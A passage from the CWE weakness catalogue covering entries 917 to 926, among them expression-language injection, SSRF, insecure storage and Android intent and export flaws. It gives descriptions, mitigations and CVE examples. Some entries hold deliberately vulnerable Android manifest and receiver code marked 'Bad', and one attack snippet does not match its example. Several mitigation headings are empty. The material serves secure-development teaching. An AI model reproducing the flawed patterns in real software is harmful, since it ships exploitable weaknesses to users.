#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

#### **Phase: Implementation**

#### **Phase: Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

### **Observed Examples**



Reference	Description
<b>CVE-2008-1526</b>	Router does not use a salt with a hash, making it easier to crack passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1526">https://www.cve.org/CVERecord?id=CVE-2008-1526</a>
<b>CVE-2006-1058</b>	Router does not use a salt with a hash, making it easier to crack passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2006-1058">https://www.cve.org/CVERecord?id=CVE-2006-1058</a>
<b>CVE-2008-4905</b>	Blogging software uses a hard-coded salt when calculating a password hash. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4905">https://www.cve.org/CVERecord?id=CVE-2008-4905</a>
<b>CVE-2002-1657</b>	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1657">https://www.cve.org/CVERecord?id=CVE-2002-1657</a>
<b>CVE-2001-0967</b>	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0967">https://www.cve.org/CVERecord?id=CVE-2001-0967</a>
<b>CVE-2005-0408</b>	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0408">https://www.cve.org/CVERecord?id=CVE-2005-0408</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	<input checked="" type="checkbox"/>	1344 2281

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
55	Rainbow Table Password Cracking

### References

[REF-291]Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < <http://tools.ietf.org/html/rfc2898> >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < <http://codahale.com/how-to-safely-store-a-password/> >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < <http://www.codinghorror.com/blog/2012/04/speed-hashing.html> >.

[REF-631]OWASP. "Password Storage Cheat Sheet". < [https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) >.



[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < <http://www.securityfocus.com/blogs/262> >.

[REF-908]Solar Designer. "Password hashing at scale". 2012 October 1. < <http://www.openwall.com/presentations/YaC2012-Password-Hashing-At-Scale/> >.

[REF-909]Solar Designer. "New developments in password hashing: ROM-port-hard functions". 2012 November. < <http://www.openwall.com/presentations/ZeroNights2012-New-In-Password-Hashing/> >.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < <http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html> >.

## CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

**Weakness ID** : 917

**Structure** : Simple

**Abstraction** : Base

### Description

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.



### Extended Description

Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
PeerOf		1336	Improper Neutralization of Special Elements Used in a Template Engine	2060

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133


*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (Prevalence = Undetermined)

## Alternate Terms

**EL Injection :**

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Architecture and Design

Avoid adding user-controlled data into an expression interpreter when possible.

### Phase: Implementation

If user-controlled data must be added to an expression interpreter, one or more of the following should be performed: Validate that the user input will not evaluate as an expression Encode the user input in a way that ensures it is not evaluated as an expression

### Phase: System Configuration

### Phase: Operation

The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".

## Observed Examples

Reference	Description
<b>CVE-2021-44228</b>	Product does not neutralize \${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j) <a href="https://www.cve.org/CVERecord?id=CVE-2021-44228">https://www.cve.org/CVERecord?id=CVE-2021-44228</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Maintenance

The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified.

## Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

## References

[REF-911]Stefano Di Paola and Arshan Dabirsiaghi. "Expression Language Injection". 2011 September 2. < <http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf> >.

[REF-912]Dan Amodio. "Remote Code with Expression Language Injection". 2012 December 4. < <http://danamodio.com/application-security/discoveries/spring-remote-code-with-expression-language-injection/> >.

[REF-1279]CWE/CAPEC. "Neutralizing Your Inputs: A Log4Shell Weakness Story". < [https://medium.com/@CWE\\_CAPEC/neutralizing-your-inputs-a-log4shell-weakness-story-89954c8b25c9](https://medium.com/@CWE_CAPEC/neutralizing-your-inputs-a-log4shell-weakness-story-89954c8b25c9) >.

[REF-1280]OWASP. "Expression Language Injection". < [https://owasp.org/www-community/vulnerabilities/Expression\\_Language\\_Injection](https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection) >.

## CWE-918: Server-Side Request Forgery (SSRF)

**Weakness ID** : 918

**Structure** : Simple

**Abstraction** : Base

## Description

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

## Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1005

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

### Alternate Terms

**XSPA** : Cross Site Port Attack

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

### Observed Examples

Reference	Description
<b>CVE-2021-26855</b>	Server Side Request Forgery (SSRF) in mail server, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-26855">https://www.cve.org/CVERecord?id=CVE-2021-26855</a>
<b>CVE-2021-21973</b>	Server Side Request Forgery in cloud platform, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21973">https://www.cve.org/CVERecord?id=CVE-2021-21973</a>
<b>CVE-2016-4029</b>	Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918). <a href="https://www.cve.org/CVERecord?id=CVE-2016-4029">https://www.cve.org/CVERecord?id=CVE-2016-4029</a>
<b>CVE-2002-1484</b>	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1484">https://www.cve.org/CVERecord?id=CVE-2002-1484</a>
<b>CVE-2004-2061</b>	CGI script accepts and retrieves incoming URLs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2061">https://www.cve.org/CVERecord?id=CVE-2004-2061</a>
<b>CVE-2010-1637</b>	Web-based mail program allows internal network scanning using a modified POP3 port number. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1637">https://www.cve.org/CVERecord?id=CVE-2010-1637</a>
<b>CVE-2009-0037</b>	URL-downloading library automatically follows redirects to file:// and scp:// URLs <a href="https://www.cve.org/CVERecord?id=CVE-2009-0037">https://www.cve.org/CVERecord?id=CVE-2009-0037</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses		2349
MemberOf	C	1356	OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF)		2290
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses		2357

### Notes

#### Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
664	Server Side Request Forgery

## References

[REF-913]Alexander Polyakov and Dmitry Chastukhin. "SSRF vs. Business-critical applications: XXE tunneling in SAP". 2012 July 6. < [https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH\\_US\\_12\\_Polyakov\\_SSRF\\_Business\\_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf) >.

[REF-914]Alexander Polyakov, Dmitry Chastukhin and Alexey Tyurin. "SSRF vs. Business-critical Applications. Part 1: XXE Tunnelling in SAP NetWeaver". < <http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Business-critical-applications-whitepaper.pdf> >.

[REF-915]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 1". 2012 November 7. < <https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/> >.

[REF-916]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 2". 2012 November 3. < <https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-2/> >.

[REF-917]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 3". 2012 November 4. < <https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-3/> >.

[REF-918]Vladimir Vorontsov and Alexander Golovko. "SSRF attacks and sockets: smorgasbord of vulnerabilities". < <http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities> >.

[REF-919]ONsec Lab. "SSRF bible. Cheatsheet". 2013 January 6. < <https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1#> >.

[REF-920]Deral Heiland. "Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses". 2008 February. < <http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt> >.

## CWE-920: Improper Restriction of Power Consumption

**Weakness ID** : 920

**Structure** : Simple

**Abstraction** : Base

### Description

The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes.

### Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O

- GPS
- Sound
- Microphone
- USB interface


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart  <i>The power source could be drained, causing the application - and the entire device - to cease functioning.</i>	

## CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

**Weakness ID** : 921

**Structure** : Simple

**Abstraction** : Base

### Description

The product stores sensitive information in a file system or device that does not have built-in access control.

### Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.



On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		922	Insecure Storage of Sensitive Information	1698

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.</i>	

## References

[REF-921]Android Open Source Project. "Security Tips". 2013 July 6. < <http://developer.android.com/training/articles/security-tips.html#StoringData> >.

## CWE-922: Insecure Storage of Sensitive Information

**Weakness ID** : 922

**Structure** : Simple

**Abstraction** : Class

## Description

The product stores sensitive information without properly limiting read or write access by unauthorized actors.

## Extended Description



If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	ⓑ	312	Cleartext Storage of Sensitive Information	725
ParentOf	ⓑ	921	Storage of Sensitive Data in a Mechanism without Access Control	1697

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	Ⓒ	1013	Encrypt Data	2221

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>Attackers can read sensitive information by accessing the unrestricted storage mechanism.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>Attackers can overwrite sensitive information by accessing the unrestricted storage mechanism.</i>	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	Ⓒ	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## Notes

### Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data. While data tampering would be visible upon inspection, the integrity and availability of the data is compromised prior to the audit.

### Maintenance

This is a high-level entry that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

## CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

**Weakness ID** : 923

**Structure** : Simple

**Abstraction** : Class

### Description

The product establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

### Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	V	291	Reliance on IP Address for Authentication	671
ParentOf	V	297	Improper Validation of Certificate with Host Mismatch	684
ParentOf	C	300	Channel Accessible by Non-Endpoint	692
ParentOf	E	419	Unprotected Primary Channel	962
ParentOf	E	420	Unprotected Alternate Channel	963
ParentOf	E	940	Improper Verification of Source of a Communication Channel	1712
ParentOf	E	941	Incorrectly Specified Destination in a Communication Channel	1715
ParentOf	V	942	Permissive Cross-domain Policy with Untrusted Domains	1717
ParentOf	V	1275	Sensitive Cookie with Improper SameSite Attribute	1948
CanFollow	E	322	Key Exchange without Entity Authentication	749
CanFollow	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	817

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Gain Privileges or Assume Identity <i>If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.</i>	

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
161	Infrastructure Manipulation
481	Contradictory Destinations in Traffic Routing Schemes
501	Android Activity Hijack
697	DHCP Spoofing

## CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

**Weakness ID :** 924

**Structure :** Simple

**Abstraction :** Base

### Description

The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

### Extended Description

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270
MemberOf		417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	<i>If an attackers can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.</i>	

### Notes

#### Maintenance

This entry should be made more comprehensive in later CWE versions, as it is likely an important design flaw that underlies (or chains to) other weaknesses.

## CWE-925: Improper Verification of Intent by Broadcast Receiver

**Weakness ID** : 925

**Structure** : Simple

**Abstraction** : Variant

### Description

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

### Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		940	Improper Verification of Source of a Communication Channel	1712

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Alternate Terms

**Intent Spoofing** :

### Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	Another application can impersonate the operating system and cause the software to perform an unintended action.	

## Potential Mitigations

### Phase: Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

Example Language: XML

(Bad)

```
<manifest package="com.example.vulnerableApplication">
  <application>
    ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
    ...
  </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Example Language: Java

(Bad)

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(final Context context, final Intent intent) {
    mainActivity.saveLocalData();
    mainActivity.stopActivity();
  }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Example Language: Java

(Attack)

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

## Notes

### Maintenance

This entry will be made more comprehensive in later CWE versions.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
499	Android Intent Intercept

## References

[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-Application Communication in Android". < <http://www.eecs.berkeley.edu/~daw/papers/intents-mobisys11.pdf> >.

## CWE-926: Improper Export of Android Application Components

**Weakness ID** : 926

**Structure** : Simple

**Abstraction** : Variant

### Description

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

### Extended Description


The attacks and consequences of improperly exporting a component may depend on the exported component:

- If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.
- If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.
- If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Background Details

There are three types of components that can be exported in an Android application.

- An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

- A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.
- The Content Provider mechanism can be used to share data with other applications or internally within the same application.

### Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State DoS: Crash, Exit, or Restart DoS: Instability Varies by Context  <i>Other applications, possibly untrusted, can launch the Activity.</i>	
Availability Integrity	Unexpected State Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart DoS: Instability Varies by Context  <i>Other applications, possibly untrusted, can bind to the Service.</i>	
Confidentiality Integrity	Read Application Data Modify Application Data  <i>Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.</i>	

### Potential Mitigations

#### Phase: Build and Compilation

*Strategy = Attack Surface Reduction*

If they do not need to be shared by other applications, explicitly mark components with `android:exported="false"` in the application manifest.

#### Phase: Build and Compilation

*Strategy = Attack Surface Reduction*

If you only intend to use exported components between related apps under your control, use `android:protectionLevel="signature"` in the xml manifest to restrict access to applications signed by you.

#### Phase: Build and Compilation

#### Phase: Architecture and Design

*Strategy = Attack Surface Reduction*

Limit Content Provider permissions (read/write) as appropriate.

#### Phase: Build and Compilation

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Limit Content Provider permissions (read/write) as appropriate.

### Demonstrative Examples

#### Example 1:

This application is exporting an activity and a service in its manifest.xml:



Example Language: XML

(Bad)

```

<activity android:name="com.example.vulnerableApp.mainScreen">
  ...
  <intent-filter>
    <action android:name="com.example.vulnerableApp.OPEN_UI" />
    <category android:name="android.intent.category.DEFAULT" />
  </intent-filter>
  ...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
